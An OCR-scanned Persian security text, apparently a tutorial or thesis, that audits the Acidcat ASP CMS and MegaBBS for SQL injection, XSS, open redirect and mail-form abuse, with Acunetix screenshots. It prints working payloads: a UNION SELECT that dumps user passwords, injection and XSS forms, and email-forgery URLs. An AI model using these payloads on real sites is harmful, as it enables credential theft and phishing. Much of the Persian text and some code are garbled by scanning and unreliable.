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Get olonn = Server.Createlbject ("ADODE. Connection™)

oConn. Open "DRIVER={Microsoft Lccess Driver (F.mdh)}; DEQ=" & Server.MapPath("DE.wmdb™)
Get ralsers = Server.Createlbject("ADODE.Recordset™)

rzlUzers. Open "3ELECT * FEOM Userz™, olonn

sl Jlo g ol oo Judo ASP b3 sloaS el p sloas” Lo Ceond 10 o lgad 0590 ol 4o
oo anbe ASP-VBScript o\b; @« cmsgs asbip @b 5l b 603 cowl b ablio slo oo,
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Enterprise JavaBeans (enterprise L JavaBeans (beans) sls cwod aily o g
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gy gd & JSP Gl sl Gy cod (5055 Gl asly 0 Sy e (g lere jo oS
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Ty a ol amsu b aS Wau S aiie Wb yiiie Serviet Slisgas 4yl 5l o Cosyo ISP

Servlet spec 2.1 January 1999
Servlet spec 2.2 December 1999
JSP 1.0 June 1999
JSP1.1 December 1999
JSP 1.2 2001

JSP 2.0 (Major Ver.) November 2003
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JSP assy b Y=Y Jgo

&S e 8,5 0 slpdava cwy adly p e sloaS ¢ XML LSS 51 ISP Slan
L HTML (bS5 aile IS5 0 Slrio ol oS o soliiul S o sl 1) ambo Sligime
S 5l 1 axmas lhie JSP Glio &g (pas 010 ,Ke p Frwl axian 4 Lesdiuw |, XML
e ol a gl (e Stalng g 00 Ol (o0 ) ISP Slris a8 sl aled 5 (b
Jole piecs EMACS U 590009 Jole i NOTEPAD aal s jo olgs oo |y Lo JSP as™ ol
ooles 1531 o5 euled oo Culom JSP ond aiig Slomio 51 a8 s 0d Kyl ye oSy cuiigs UNIX

il oo Dreamweaver oas a8

LY ° ul.’> Ao S9y ‘) He||0 W0r|d! as cewl JSP Ob) L oolw ML:)J ASJ ).:) LSLQ..\S

<%@ page contentType="text/html: charset=utf-5§" language="jawva” import="jawa.sgl.*" errorPage="" %>
<html>
<hody-
£%="Hello World!"s>
< /body-
< htmls

il 3y S 4y Java Serviet ool oS 5 gl d5ge

import javax.servlet.¥;
import Jjavax.servlet. http. ®;

public class HelloZervlet? extends Hotplervlet |
protected void doGet (HotpSerwvletRedquest redquest, HottplerwvletResponse response)
throws ServletException, Jjava.ilo.IOException {
response.setfontentType ("text/html™) ;
Java.io.PrintWriter out = response.getWriter|():

out.println("<html="]);

out .println"<head>"):

out.println("<titlexHello Zervlet</titlex™);
out.println( "</ head:>") ;

out.printlin"<kbody="):

out.println("<hl>Hello World!</hi=");

cut,.println("The time iz <i:>" + new Date() + "</i:=" j:
out.println ("< hody=")

out .println ("< /html=")

out.close () ;
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A4 - Insecure Direct Object | A2 - Broken Access Control (split 5
Reference in 2007 T10)
A5 - Cross Site Request Forgery 36
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<head>
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<script
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Password = MDS(Request("Password™))
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<img src="http://www.example.com/logout.asp">
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COom.
Com.
COom.

com

jnetdirect.jsqgl.
jrnetdirect.j=ql.
jnetdirect.jagl.

.Jnetdirect.jsql.
Coll.
com.
Ipm.
Coll.
com.
Coll.
com.
Coll.
com.
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COl.

jnetdirect.jsql.
jnetdirect.jsql.
JDECContectionl.

evernind[Orion/=.
evernind[Orion/z.
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evermnind[Orions2.
evernind[Orion/=.
evernind[Orion/=.
evernind[Orion/z.
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Unclosed quotation mark before the character string 'Test!''.
®.al(lUnknown Source)

ay.
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g (Unknowm Source)

new (Unknown Source)
do (Trnknown Source)
ah.

executeluery (Unknown 3o0urce)

subnitExecuteuery (JDECComnectionl. Java: 100)
orionserver[Orions2.0.5 (build 11234)].http. OrionHttpdspPage. service (Unknown Source)
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5 f(build 11234)]._ ay._rmb(Unknown Zource)

5 o(build 11234)].server.http. J3T3ervlet. service (Unknown Source)
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Seanwizad x|
Scan type

Select whether you want to scan a single website, a list or range of websites or whether you want to analyze
the resulks of a previous crawl,

Scan twpe

| Here you can scan a single website. In caze you want to scan a single web application and not the
% whole site you can enter the full path below. The application supports HTTP and HTTPS websites.

{* Sgan single website
Website URL: | htp:/Aocalhost! ~|

5 |f you zaved the site structure uzing the site crawler tool pou can uze the saved results here. The
(# scah will load this data fram the file instead of crawling the site again.

" Sean using saved crawling results
Filenarne: ﬂ =

f‘l I case you want bo scan a list of websites, you need to choose this option. Prepare a text file
L= containing the list of websites and indicate the path of this file below.

" Scan alist of websites from a file
Filename: ﬂ =

« 2 You can alzo scan a range of computers. This wizard will inzpect this range looking for HTTP and
7 HTTPS websites. “rou may select individual websites later after the dizcovery was finished.

" Sean arange of computers looking for websites
IP range: [132.168.0.1-30 |

acunetix List of ports: [01 443 <]

< Back | Mest > I Cancel |
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" type Select targets

B Select targets Pleaze wait until the scanning iz finished and then select the targets you want to zcan from the list belaw,
. Faor ewery target you can enter details such as operating system, webserver, technology or change the base
u o path. By entering these details you can reduce the scanning time.

Lizt of targets

/localhost:80
Base path !

Server banner Microsoft15/6.0

Target URL hitp: /flocalhost: 30/
Operating system witdaws

‘wiebS erver IS E.0

Detected custom 404 emnor page Mo

(] Optimize for following technologies [45P, ASP.MNET, mod_ssl, mod_perl, OpenS5L. FrontPar
ASP
ASPNET
PHP
Peal

mod_perl
Open55L
FrontPage

Status : Done

acunetix

< Back | Mest > I Cancel

)lfa9_~’> d.nli)_) p.».'a.u P9o r:lf Y-y JS.».\

. x|
 bype Scan options

i Here you can set more optiohs regarding the scan : the profile to be uzed far scanning, how the crawler will

=3 work when scanning the website.
B Scan options

W Login - Scanning profile

B F = » Scanning profile will enable/dizable different tests [or group of tests] from the test database.
-'\‘;)
Thiz could speed up the scanning process if pou just want to verify particular information.

LIze thiz scanning profile : | default ﬂ

- Crawling options

j:‘ These options will define the behaviour of the crawler for the current scans. IF you want to modify
the general crawler behaviour, wou should go to settings.

[v Start HTTP sniffer for manual crawling at the end of the process
[ Get first URL anly

[v Do nat fetch anthing above start folder

[v Fetchfiles below base folder

[v Fetch directary indeses even if nat linked

[v Subrmit forms

[v Retrieve and process robots. et

[v Case insensitive paths

chnetix [v Analyze JavaSeript

< Back | Mest > I Cancel




Login

Configure input/lagin details for password protected areas or HTML farms

~ HTTF authentication

QE If your website requires HT TP authentication [Basic or HTLR).
you need to provide the credentials below.

[ Authenticate with this usemame and password combination :

Usermame : |

Password : |

™ HTML authentication [Login sequencel

le;, I wour website requires HTML authentication, you need to record the steps required to login on the
webzite. This will be zaved az a login sequence file and can be uzed later.
“Y'ou can also specify a gection of the website which you do not want to be crawled [for example
links that will lag you out from the website].

Login sequence ! <no login zequences -

Record new login sequence

acunetix

< Back | Mest > I Cancel
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Bw Adobe Dreamweaver £53

Fle Edt Vew Insert Modfy Iext Commands Ste Window Help

Dpdy o

bS5
¥ Application

wlInsert Common

Y=p !

¥ Tag Inspector

 Files i
Fies
& est =] JLacal view
RC|LgYauE| R

B¥ Find and Replace

- a-

Layout | Forms | Data | Spry | Text | Favorites

ADOBE® DREAMWEAVER® CS3

Find in: |Entirs Current Local Site ¥ | kest

-l x]

Find All

Replacs

¥ 1gnore whitespace:

I™ Use regular expression

Replace All

Close
Help

| AT | KT

t Exchange »

L] Mew Festures »

o

Finid regularly updated tips, techninues,
poticasts, intervisws, and more in Adobe Bridue

Compatibiity Check | Link Checker | Site Reports | FTP Log | Server Debug

[ MatchedMext

v dii|>

titleTag = Request, QueryString( temTitle")

1F {Request, QueryString("formType") = "search”) then
formType = Request, QueryStringl"formType")

Elself (Request, QueryString("temID") < ™) Then
itemhum = Request.QueryString{‘itemiD")
Ttem_MMColParam = Request, QueryString(“temiD")
Elself (Reauest, Form("cID" <> ™ Then

L]

Local Files
=13 site - test (D:{InetPub_Mainwsmmron. . Falder
Search: [Source Code -
75 admin Falder
-0 s Falder Find: [T
7.2 databases Folder
7. images Folder
7 read_urte Folder Replace:
-0 s Folder
T defaukasp 2KB Active 5.
F dsfault_banner.asp 4B Active 5., Options: ™ Match case
T defaulk_banner_classic.asp 1KB Active 5., ™ Match whale word
T defauk_rontent.asp SKB Active 5.
T defauk_lang.asp 2B Active 5.
= default_mallasp KB Active =
T defauk_mai_aspemall.asp 2B Active 5.
T defauk_mal_rdosys.asp 3KB Active 5.
T defauk_mal_jmail.asp 1KB Active 5.  Properties
T dsfauk_main.asp 188 Active 5. || 1
T defauk_menu.asp 2 aetives.., || €2
- default_menu_dassic.asp SKB Active 5... ﬁ
- defauk_menu_functions.asp 6K Active 5.
- defaul_menu_javascript.asp BKE Active 5.
- defaul_menu_mm_men2.asp 32K Active 5.
D) defauk_rssatyle. sl 1KB #5L Tran.. ¥ Results 'imh Reference | Valdation | Brow:
-T) defaul_swiobject.is 78 25cript 5. B [Ha
T install.asp 9KE Active S... @| defautasp
- install_access_connect asp e actves.. g default_content.asp
= instal_data_write_sucress.asp 1KB hctive 5. default_content.asp
= default_content.asp
- install_files_uploadTester.asp 10KB Active 5. defadlt_content.asp
T installlang.asp 2B Active 5...¥ default_content.asp
4 LIJ . ‘defau\t content, aso
@) Date: 3/5/2008 2:34 P11 Log... e ———

A dacumert
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:Default.asp -

:r":’.)“) Y L o

titleTag = Request.QueryString("itemTitle")
A5 ool ioled Cole ;0 w0 pelys a5 030 K oS e e titleTag  Jlos a4 cedls >

oo XSS el a5 SU s sl ST T 5 LS Lol (cosl XSS g5 5l asly sl ale> 51 )
sl ooy Bas ] 5l ogs
2 b eloads (Koo b g izl Sl (699,5 (585 5l am o bolas 9z 4 Cbls 4z Wl

035 0I5 51 5502 b o 5 titleTag ol Jlos & 505 o L6 o]

<!--#include file="default lang.asp" -->

<!--#include file="default main.asp" -->

Sl opl sz jo Wb aib sos Include as LB o jile b opl j0 a5 cwl ol cusdly
e (6 ion Was Slras @xbas 90 (pl ujgw 4 BTG e oL allls oS50 titleTag
5 6 o anls 0B S fae 555 6)l5 Slslh @ Ly ST S 8 s i wl oS

05 2L, SQL Injection ¢ XSS odes gl siwyo @ 1) Slorio

.default content.asp -
iyl Vodas o

formType = Request.QueryString("formType")
QS od L) et (s TOrmType a5 s (oo abo (pl sloaS )0

itemNum = Request.QueryString("itemID")
Item MMColParam = Request.QueryString("itemID")

Yy



oaid o 5l (6,500 solatul 5 05l oo G 4uF 4 e itemNum (o9 oo 45 puio =
Y L

Item MMColParam = Request.Form("cID")

5 4 SQL slo culgs o sl yo Item . MMColParam jisl )b a5 g o0 S )0
4> e CedlS b sl suls o2l SQL Injection G aio; Yo 4 axg5 b s 09, (o0

09 Lzl las I 5 08 e yn | s by 0yl 8 ol gl 095 oo Lzl VY s g

oS (o0 4z S p by &
=) If (Fedquest.Queryitring("formType™) = "zearch™) then
2 Item MMColParam = getDefaultPaoger)
a fornType = Redquest. ueryitring(“formnType™)
Elzelf [(Redquest.ueryitring("itemID™) <= ""1 Then
E itemfum = Request.Queryitring("itemID™)
11 if IzMumerici(itemfum)] then
1z Ttem  MMColParam = Recquest.ueryitring(™itemID™)
13 else
Ttem  MMColParam = getDefaultPage()
14 end if
le Elself [(Request.Form("cID™) <= "] Then
17 Ttem  MMColParam = Recquest. Form("cID™)
15 Elze
Ttem  MMColParam = getDefaultPage()
1% End 1f

b3 wsls Ji cID g usb Ji itemID 4 osls search i, formType 5145 pin oo

g Ll g IS0 4wl BB cpl £9,0 glp 0 dalg> 1 >1VY
default content.asp?formType=&itemID=

D¢ oo Jwyl o (sl POSE site & jg0 4y CID el )L a8

s oo Giolei |y pj sl o pin (o0 9 @0 (0 1zl UKD e a0 1) BB 0l >
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ADODB. Recordset error BO00a0bbS"

Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another.

fdefault_content.asp, line 26
BB e 4ol Koo g 00 0ols SQL cnlgs jo o aislo bz 51 L8 s pl aSul @ a5 L
5900 ) 09> b plaS 00,5 oo Aol o)lad 0g2g 0010 oL s 4 LB ol po Include
ol 1y 6 iy caml (ol b oS o 1y LG )T eeles> o 13 090 Include wb Koo hl
S8 Belo 9590 (pl 5l dm meles 4570 IS D925 (6,500 (69559 g BB (ol 5o Ll ) oS
oS o0 ooliiwl b bl aen 10 g sl )b laie 4 default_content.asp ;i b (euoo
Include |, default content.asp Ll .l ki a5 wio oo |, default mainaasp LB
] oo;

oS (50 90 ) 2 URL S oo o 1

default main.asp?formType=&itemID=

ADODB. Recordset error B00200ES

Arguments are of the wrang type, are out of acceptable range, ar are in conflict with one anather.

fdefault_menu_javascript.asp, line B
&S e, oo 4 opl & default menu javascript.asp LB sleaS g s pl 4 a5 b
ool ol50L 4 connection gol> a5 s hL G o wb ;s default main.asp L6 oy
(w0,5 oo default_ main.asp Jlss a4 bbb aes 10 0,bgs IV .aib o include al
b Jols ) Lo Hlas 0590 b1 aS viS o lo |, default.asp L L

oS o0 590 1y 25 URL 55500 10 W

default.asp?formType=&itemID=
Yo



e plil )5 90 5 bolas 4 4z gi b pilyie >

=] If (Fequest.Queryitring("formType™) = "search™) then
7 Item IMMColParam = getDefaultPagel)
a fornType = Eedquest. ueryatring(“formType™)
Elself [(Fedquest,uery3tring("itemID™) <> ""1 Then
& itemfum = Request.Queryitring("itemID™)
11 if IsMumerici(itemfum)] then
12 Item  MMColParam = Request. Jueryitring("itenID™)
13 else
Item  MMColParam = getDefaultPager)
14 end if
1 Elself [(Fequest.Form("cID™) <> "] Then
17 Item  MMColParam = Request. Form("cID™)
18 Elze
Item  MMColParam = getDefaultPager)
1% Ena 1f

« I, Request.Form(“cID”) «w 50 oS (0,5 low g (09 pds cam! Siolosl 6l &Sl (S

(0iS 5950 |y 5y URL o g oS Jows Request(“cID”)

default.asp?formType=&itemID=&cID=[SQL Injection]

Post wie b g el ails ob a0 1) o opl b JS Bxploit cpiog glp a5 culs axg5 wb
oolizwl Request. Form(“cID”) 5l e 5 6,508 sl j0 51 uizmen pud plil 1) 095 1S
lowds i 35 ) ol wb sl ous

oS5 ol rgms 1 6 ek 5 0SS POSE e L ol 51 a5 sl ) 500 s,

i gl 00,5 osliinl Jol g 5l (e

ElzeIf [(Request("cID™) <= ™) Theﬂ
Trem  MMColParam = Recquest(™"cID™)

Elze
Ttem  MMColParam = getDefaultPage()
End If
szt J=
default.asp?formType=&itemID=&cID=[SQL Injection]
e 0

\id



Microsoft OLE DB Provider for QDBC Drivers error B0040210"
[Microsoft][ODBC Microsoft Access Driver] Too few parameters. Expected 1.

fdefault_cantent.asp, line 31

&S i 0 9 S o o5 default contentasp 31 L 4 locl pldss e
el Query cploaisle ;5 las logd o 5L el connection
ItemCheck.Source = "SELECT * FROM ac_item WHERE ID =" &
Item MMColParam & ""
o 9 a8 J >

default.asp?formType=&itemID=&cID=-1 union select
1,username,3,password,5,6,7,8,9,10,'1-1-2000",'"1-1-2010' from ac_user

LT oo Cawd 4y ol 00ls oL a4 axg5 L g SQL slo conlgs o yiings 2l b s ol oas

st o Jo8 Coo £9.0550 a5
5 cansdls EXploit o iig sl g 02,5 lows |, SQL Injection (g pdy camw! opdgl bl b
Exploit L6 lea (pl g oS o0 033 html JSo 0 1) 55 BB oS eoliiwl PoSt we

<form action="http://[The URL]/default.asp?formType=&itemID=" method="post">
<input type="text" name="cID" id="cID" value="-1 union select
1,username,3,password,5,6,7,8,9,10,'1-1-2000",'"1-1-2010' from ac_user" />

<br />

<input type="submit" value="Submit" />

</form>

\Al



«default lang.asp -
F L

myStr = request.servervariables("url")
Sz ol & 5185 Lz 0,5 o o151k Lol iz ol @ ly (o3 &5 003y (o, URL Lz (]
e S as bl alils axgi Wb gl sei 3L K0 eedle> o0 a5 (gl Asras (S a8lS]

el

request.servervariables("HTTP_REFERER")

request.servervariables("HTTP_USER AGENT")

o peis (Solo |y sl polie oilys o el axisls sl asile

«default mail.asp -
¥y L

typeStr = Request("FormType")

«default mail aspemail.asp -

Mail.From = Request("From")

Mail.FromName = Request("FromName")

Mail. AddAddress Request("To")

MTG@MI,&&L& lad,lad (6,550 Az g ol oolaiwl o) ol Ca W il )b ol i) o

YA



A oS 2 a5 Ul dled axgle S oSS ol b sl olisS axmbn (pl 05 ez Tax Ko s pdy
O30 lp ol solais] Jol oaind gy b g aorano opl SS a5 ailes o 490 ol 5l & g0
Pl BT L ol o0 45 |z 058 g0 Sod (63004 el (a0 Clgie s ol e Moo ]
Lo asas a5 55k (jlen logad 0aild Gugpw ogd b g ol Ojgo 4 (Jaz gbo ool Sl
5 Jm s 01 0055 g Ll og Lo Jlad (61 0552 5l )5 o 00,8 b ,500 (5 0y sl S

il 15 O ,90 4 BXploOit Lo ool

default mail aspemail.asp?AcidcatSend=1&From=Fake@Site.com&FromName=FakeA
dmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to

123456!

«default mail cdosys.asp -
Yo gV g YA byl

ObjSendMail.To = Request("To")
ObjSendMail.Subject = Request("Subject")
ObjSendMail.From = Request("From")

axio Jro Cawyo g lailad (6,500 dis g oals eolaiul o) el G el il pl 5o ol o
ALY

default mail cdosys.asp?
AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.c
om&Subject=Forgery&Body=Change your password to 123456!

g (b Dy (S0 (6 pdy o] lgie 4 Ly,

va



«default mail jmail.asp -

AY B A Lol
msg.From = Request("From")
msg.FromName = Request("FromName")
msg.AddRecipient Request("To")
msg.Subject = Request("Subject")
msg.Body = Mail.Body = Request("Body")

Slxas Jie Gy 9 105,00 (6,550 dus g oad oolaiwl 0 Jesl Sz b el )b cpl 0 el o
ooliiwl Joss! 585 lp ol Jglate jieS a5 oo Object oG 5l acdl oS el L3 pds el
WS e

default mail jmail.asp?
AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.c
om&Subject=Forgery&Body=Change your password to 123456!

main_login2.asp -
YY L
MM LoginAction = Request.ServerVariables("URL")
S5 6 ] o cpl ol 4s8 NS a5 jglailen
Yo s

MM _LoginAction = MM_LoginAction + "?" + Request.QueryString
el ool oolatnl gl> yo a5

FF L



Response.Redirect(Request.QueryString("accessdenied"))

ao> g oo accessdenied jol )l cpad b aS 1ia o)ls 025 (608 o] S Boel x|
S5 MM_valUsername )b wb ol gl>l g s opl a0 oww, @l ol plsl XSS
L MM_valUsername Jl> .osls 5 o o0ls oL 5l ot Gl Jlade 4l oud 0845
O U R R PV - X S XV

5 MM valUsername ol )L a5 oo Include Koo 18 5,0 main_login2.asp sy
el s LB Ll

05§ pein |, &l suis Include main_login2.asp ;o a5 LlLbLb asl Ko >
w5 Jo I, MM valUsername )b

P S L g 00,55 Include |, main_login2.asp L mo ewin oo Jol Sl ooy 0 5l o
o pgd Sl aS Conl ol y il 5l ls 0g2g 00l pudais B pl B)b a o Action a5
JLis @ ey S oo orens |, MM valUsername ,laie oo Include slobls 51 SG 5 009
0,5 o Main_10gin2.asp acgemme p; Globld ol ju jo piio oy

105,15 3929 ;5 bgls- admin/admin_encrypt.asp L o 45 puiS oo sanline

dim MM Logindction,MM wallUsername MM _walPasaword
if (Fequest.Form("usernamne™)<>=""] then
MM _wvallsername=Fequest. Form (™ isernamnsa™)
MM _walPassword=Request. Form("pazsword™)

dim MM _wallUzernames, MM wallUsernames, MM _wralPasswordz, MM _walPassword3
MM _wvalllzernamez = EnDeCrypt (MM _walUsername, MM _walPassword)
MM _walllsernamel = sSerwver.urlencode (MM _walllzernamneZ)

end if

AN



G S Jb> 09d oo 20 Jlade 455> MM_valUsername ,xw o5 pio (o0 bl 5o
el FF Loz SQL canlgs o 90,5 oo

MM _rsUser.Source = "SELECT ID, Type, Username, Password FROM ac_user WHERE
Username="" & MM _valUsername &"' AND Password="' & MM _valUsername3 & """

S99 Wl oo Koo sl cam! lgxe 4 SQL Injection ale> a5 ugd oo 4> gie brien
SQL coilgs o as, jo L3 JuS o 900 MM valUsername ,loaie a5 1> sl acsls
Shom ot anlsm (oo g 4l &5 gl (oo axgio LaaS (il b @Bly ;0 005 (o0 )l 8
& il ool audais accessdenied ol )b STl o)ly Caoyd jeae 3oy g 6l pb L Al
ol (B9 97 e 39 Sy 5093 Sjge 4 S e o)lil T el opl &5 () axio
Caonl 4>, 51 XSS 68 coml il sod pll Cawyo 34,5 a5 w8l o sl XSS 63
S red 4SS Gl ST 6l el Soel BB oS o0 oia Lol ol jlo 95 (08T S
Wlg o 0I5 g0 SIS ol (59, 88 o oS ol 50 T o HlE g e S (b L p2les oS
oSl aslo 1) 08 a5 cased 09 &Sl e Opp a2 a4 l) Cole g oS oge |y 0 0m
a2 plonil Losians

5 x4 4z L EXPOIt () og wmlys 55 20 4 p)lez 5 pom sl ol Exploit g
OBl g ol o lg oo BXPlOit (pl b (Conl ounl cws 4 RCE (515550, 0,9 g Uas
2,5 Login jse 50, 5 5005 ol

2(XSS) ¥ (s 1%y wumw! Exploit

<form action="main_login2.asp?accessdenied=javascript:alert('XSS')" method="post">
<input type="hidden" name="username" id="username" value="FooNot' union select
1,2,3,'%CE%10%C9%CE%AC%0F%F3%07A%91%8B%1B%9FF%2D%DF%EBc0%
9AU%5F%28%80%A5%0D%D0%89%EA%EF%3E%BB%BDx%5F%0EM%7C%09%

AY



2C%B65%9D%EAa%2FqX%7E%08%05%CAZ%26%1ET%10%CE' from ac_user
where Username="1'or'1'='l'or'1'="1" size="200"/>

<br />

<input type="hidden" name="password" id="password" value="0" />

<br />

—_n

<input type="submit" value="Click To Login!" />

</form>

(SQL Injection) ¥ s »ds —ww! Exploit

<form action="main_login2.asp" method="post">

<input type="hidden" name="username" id="username" value="FooNot' union select
1,2,3,'%CE%10%C9%CE%AC%0F%F3%07A%91%8B%1B%9FF%2D%DF%EBc0%
9AU%5F%28%80%A5%0D%D0%89%EA%EF%3E%BB%BDx%5F%0EM%7C%09%
2C%B65%9D%EAa%2FqX%7E%08%05%CAZ%26%1ET%10%CE' from ac_user
where Username='1'or'1'='1'or'1'="1" size="200"/>

<br />

<input type="hidden" name="password" id="password" value="0" />

<br />

<input type="submit" value="Click To Login!" />

</form>

:main_login code.asp -
AN

logoutVar = CStr(Request("referrer"))
Sl eolaiwl b i oo s

E P> oa}LC as p.a.aS S8 ».\.)Ls o o 0du Admln d.wy EY wy as s (0 JL>
(il asls 5l 0,5 Login & o) il (gwyiws JB pxloe lawgs g loil e
& s  pbsl  admin/admin_login check.asp 1, 5

AY



oo Include ;5 admin/ admin_scripts 1252.asp ¢ admin/admin_scripts.asp
&S Slxbo yibg 5l e w0,ls Login 4 5Ls asb 00,8 Include 15 1) ol (LB o e .ol

S (o0 S l0095 i ls login « 5L

admin_colors swatch.asp -
Y s

var formField = String(Request.QueryString("field"));
AL XSS 5l die) Wl oo Sl 4, 15 4 oS xe o formField g a5

function ClickColor{ThizColor) {

Color = ThisColaor:

nyCell.bgColor = Color:;

nyForm. nyText.value= Color;
opener.mainform.<<3=formField%>.wvalue = Colokr;
window. close()

}
o 5 A, (S 2 o] (lgie 4 Ca ST

admin/admin_colors_swatch.asp?field=value=";}alert('XSS');function() {myForm.myText

admin_lang.asp -
0 L

myStr = request.servervariables("url")

admin_lang login.asp -
0 b

myStr = request.servervariables("url")
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ey | &S

admin_users_edit form?2.asp -
0 s

myParam = Request.Form("ID")

s o 00l oL a4 Slod 4 LBl aS o o0

admin_users_view.asp -
Y L

For Each Item In Request.QueryString
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/admin/fckeditor/editor/filemanager/connectors/test.html
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02,5 (50 SQL iy 5o ndy yued o)y JUio & )15 (nl 6l & b oo s 955

Bw Adobe Dreamweaver (53 =[alx]

Fle Edit Insert Modfy Text Commands Sts

Comrman

Fics W o
& test =] Jrocal view =l
RClig4rae s

Local Files

Bw Find and Replace =10 x|
Find in: [Entire Current Local Site | best EndMext | |mples

-
i Ry sadifrorcce 1] Ay i |
- install_step1_mysql.asp Find: [ Source =]
T install_step2_access.asp - Replace Theme)
install_step2_mssal.asp . Reptaa gl | [
) install_stepz_mysd.asp Reglace: =l _I
") install_step3_access.asp = -

install_step3_mssql.asp
nstall_step3_mysq.asp
| instal_step3_update.asp
install_stept_access asp
install_stept_mssql.asp
install_step4_mysql.asp
nstall_stepS_access.asp
nstall_stepS_mssql.asp
nstall_stapS_mysgl.2sp
nstall_steps_access.asp
nstall_staps_mssql.asp
nstall_stap_mysal.asp
license_commercial.doc

Options: [~ Match case ¥ 1gnore whitespace :
Help

= | ateh ol wiord I Use regular expression | Exchangs »

VRN R D

T OpET g

|| Getting Started » Get the most out of Dreamweaver

Finel regularly updiated tips, technisuss,
podicasts, interviews, and more in Adobe Bridye
E] Resources » Home by chansing File = Browse in Bridge

] MewFestures »

lcense_commercislz.doc
Search B o
File | Matched Text
default_cortent asp TeemCheck,Source = "SELECT " FROM ac_item WHERE D= " 6 Item_MMColFaram 6™
defaul_content asp Item,Source = "SELECT * FROM ac_kem WHERE ID = " 6 Irem_ MMColRaram 6™
default_menu_classic asp "SELECT * FROM ac_tem WHERE Cateqory_ID= " ..

licenise_personal.dac
login_form.asp
main_login.asp
main_[ogin, 5p

i login. code. s deFault_menu_functions. asp myCatlD
“ogin_head default_menu_javascript.asp urce = "SELECT * FROM ac_rategary WHERE ID > 0 ORDER BY VerticalPosition ASC, Mame ASC"
fain_jegin_heading.asp default_menu_javascript.asp myCatiD

readme.htm

VDM EH DV DR WD b

default_menu_javascript.asp
instal_files_uploadTester.asp 'SELECT * FROM ac_corfiguration”
instal_step3_update. asp 'SELECT * FROM ac_tonfiguration”
instal_step3_update. asp call datalpdateError24{MM_oConn_STRING,Err.Source, Err Description)
Done. 73 kems found in 288 documen

yCatDz

test.asp

F

@3 1localitems selacted totaling 3074 bytes.

Dreamweaver asb » pgai V-Y S0

.default content.asp -

ol 00l yaseice pdy caml BB lgie 4 dLE LB ol

«default menu_functions.asp -

Yl

myCatID = "SELECT * FROM ac_item WHERE Category ID =" & catID & " ORDER

BY VerticalPosition DESC, Title DESC"
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MegaBBS aslp el sl cans 3,5 lay NYYY

Vendor: http://www.pd9soft.com/

Version: 2.2

File Name: megabbs2.2.zip, megabbs2.2-access.zip

Current Address:
http://www.pd9soft.com/megabbs-support/megabbs2.2.zip
http://www.pd9soft.com/megabbs-support/megabbs2.2-access.zip
http://www.pd9soft.com/megabbs-support/megabbs2.2-mssql.zip
http://www.pd9soft.com/megabbs-support/megabbs2.2-mysql.zip
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x

Scan Type Scan Type

Select whether you want to scan a single website, a list or range of websites or whether you want to analyze
the results of a previous crawl.

Scan type

) Here pou can scan a single website. |In case you want o scan a single web application and nat the
whole zite you can enter the full path below. The application supports HTTF and HTTPS websites.

¢ Scan single website
whebsite URL: | http: #localhost ﬂ

5 |f pou saved the site structure uging the site crawler tool you can uze the saved results here. The
K3 zcan will load thiz data from the file instead of crawling the site again.

7 Scan uging saved crawling results
Filename: ﬂ =

I"| In case you want to zcan a list of websites, pou need to chooze this option. Prepare a text file
554 containing the list of websites and indicate the path of this file below.

" Scan a list of websites from a file
Filznarne: ﬂ =

< “r'ou can algo scan arange of computers. Thiz wizard will inspect this range looking for HTTP and
& HTTPS websites. v'ou may select individual websites later after the discovery was finished.

7 Srcan arange of computers looking for websites
IP rangs: |192.1se_u.1-30 =]

acunetix List of pots: [20.447 o

JS555 by pelass s o8 A-Y S
[Scan Wizar x|

2 TEe Select Targets

Flease wait until the scanning iz finizhed and then select the targets you want to scan from the list belaow.
Far every target you can enter details such as operating system, webgerver, technology or change the basze
path. By entering these detail: pou can reduce the scanning time.

List of targets

El 4 localhost:80 -
Baze path !
Server banner Microzoft-15 /6.0
Target URL hittp: # flacalhost: 807
Operating swstem Windows
wiebServer 115 6.0
Detected custom 404 eror page Ma
= Optimize for following technologies [45P.MET]
ASP
ASPMET
FHP
Perl
rod_zsl
mod_perl
mod_python
OpenSsL
FrontPage
JRun
Statuz : Done

1 1 Y

[l

acunetix

< Back | Hest > I Cancel |

S50 aoliy pudais pgo o5 A-Y S
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Crawling Options

] Here you can set crawling options.

B Crawling Dptions

o Crawling options

_,f)“ These options will define the behaviour of the crawler for the current scans. IF you want bo modify
the general crawler behaviour, you should go to settings.

[ Statt HTTP sniffer for manual crawling at the end of the process
[ Get first URL anly

[v Do not fetch anything above start folder

[v Fetch files below base folder

[v Fetch directory indexes even if nat linked

[v Submit forms

[ Fetiieve and process robots. b=, sitemap.zml

[v lgnare CASE differences in paths

[ Enable C5& [analyze and execute Javas cript/a. i)

[ After crawling let me choose the files to scan

acunetix

< Back | Mewt » I Cancel

5555 ali s pelass pges a5 )oY S

Scan Options
Here you can zet scan ophions.

Scanning profile

= » Scanning praofile will enable/disable different bests [or group of bests] from the test database.
Thiz could zpeed up the scanning process if you just want to verify some particular infarmation.

ge thiz scanning profile: | default ﬂ

Scan optiohs

j Thesze options will define the behaviour of the scan for the cument zcans. IF pou want to modify the
general scan behaviour, pou should go to settings.

Sicanning maode: | Cuick, j Help

[v Test known web application vulnerabiliies on every directon
[Faor alarge number of directories, enabling this option will generate a ot of HTTP requests.]

[v Manipulate HT TP headers [Referer, User-agent, ...]
[w Check for stored %55 [cross site scripting)

acunetix

< Back | Mest » I Cancel
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Login

Configure input/lagin details for pazsword pratected areas or HTML forms

~ HTTP Authentication

QE;P.J, IF paur wehsite requires HTTP authentication [Bazic ar MTLM),
you heed ta provide the credentials below.

[ Authenticate with this usermame and pazsword combination ;

Usemame ; |

Password ; |

- HTML Authentication [Login Sequence]

gjz], If pour website requires HTML authentication, you need to record the steps required to login on the
webzite, Thiz will be zaved az a login sequence file and can be uzed later.
'ou can alzo specify a section of the website which you do not want to be crawled [for example
linkz that will log wou out from the webszite),

I |

Login sequence i megabbz

Record Mew Login Seguence

acunetix

< Back | Hest » I Cancel
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alert-approve.asp -
AY L

vAlert = Alerts.GetAlertInfo(request.querystring("id"))
b oS 5 Ka, |y VAlRTt s 5 05 o 4> GetAlertInfo() s b ol bl o

i o & yehiles ool o Include-alerts.asp o I, GetAlertInfo()
3929 b g axils 9g>g cladlxe sl 8 ls 54>g Include.asp LG o a5 ValidateNumeric()
oo s 35l (sl 00l bawgs 15 (29,5 45 ol Jlo S o)l (s due > 4 ly e ]
